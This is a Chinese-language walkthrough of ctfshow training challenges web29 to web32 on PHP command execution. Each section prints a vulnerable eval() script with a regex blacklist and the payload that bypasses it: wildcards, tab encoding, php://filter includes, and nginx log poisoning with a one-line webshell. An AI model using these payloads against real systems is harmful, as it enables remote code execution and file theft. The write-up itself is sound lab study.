ctfshow——web入门——命令执行
web29
命令执行,需要严格的过滤<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }函数学习 int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )# #搜索subject与pattern给定的正则表达式的一个匹配。 eval:执行命令分析代码: if(!preg_match("/flag/i", $c)) #要想进入if就要绕过正则匹配,即不能出现flag #传入的变量c会进入到eval函数执行。 #因此需要在绕过正则匹配的前提下找到并读取flag1.先找到flag在哪:?c=system("ls");
#system是执行函数,也可以换成其他的执行函数:passthru(要查看源代码)、exec、shell_exec。 执行函数: string system( string $command[, int &$return_var] ) #本函数执行 command 参数所指定的命令,并且输出执行结果。 void passthru( string $command[, int &$return_var] ) #passthru() 函数是用来执行外部命令(command)的。 string exec( string $command[, array &$output[, int &$return_var]] ) #exec() 执行 command 参数所指定的命令。 string shell_exec( string $cmd) #本函数同执行操作符。回显中有flag.php,因此选择读取flag.php
2.读取flag.php的内容:?c=system("cat fla?.php")
读取函数: cat:从第一行开始显示内容,并将所有内容输出 tac:从最后一行倒序显示内容,并将所有内容输出 more:根据窗口大小,一页一页地显示文件内容 less:根据窗口大小,显示文件内容,可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页 head:用于显示文件的头几行 tail:用于显示文件的尾几行 nl:类似于 cat -n,显示时输出行号 tailf:类似于 tail -f,实时显示文件尾部内容sort:读取并排序文件内容通配符: * 匹配0个或多个字符 如:*.txt 匹配所有以txt为结尾的文件 ? 匹配单个字符 如:file?.txt 匹配file1.txt file2.txt file3.txt [] 匹配括号内的任意一个字符 如: file[1-3].txt 匹配file1.txt file2.txt [^] 匹配不在括号内的字符 如: file[^1-3].txt 匹配file4.txt file5.txt ! 表示取反 如:cat !(*.txt) 读取所有不是.txt结尾的文件web30
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:42:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }本题多过滤了system和php,因此可以替换掉system,用通配符绕过php。
例:?c=passthru("cat fla*");
web31
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }发现没有限制passthru,限制了空格,用%09绕过(空格经过url编码会变成%09)
?c=passthru("tac%09fla*");
web32
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }本题把分号也过滤了,考虑
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
还有一种方法,日志注入
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
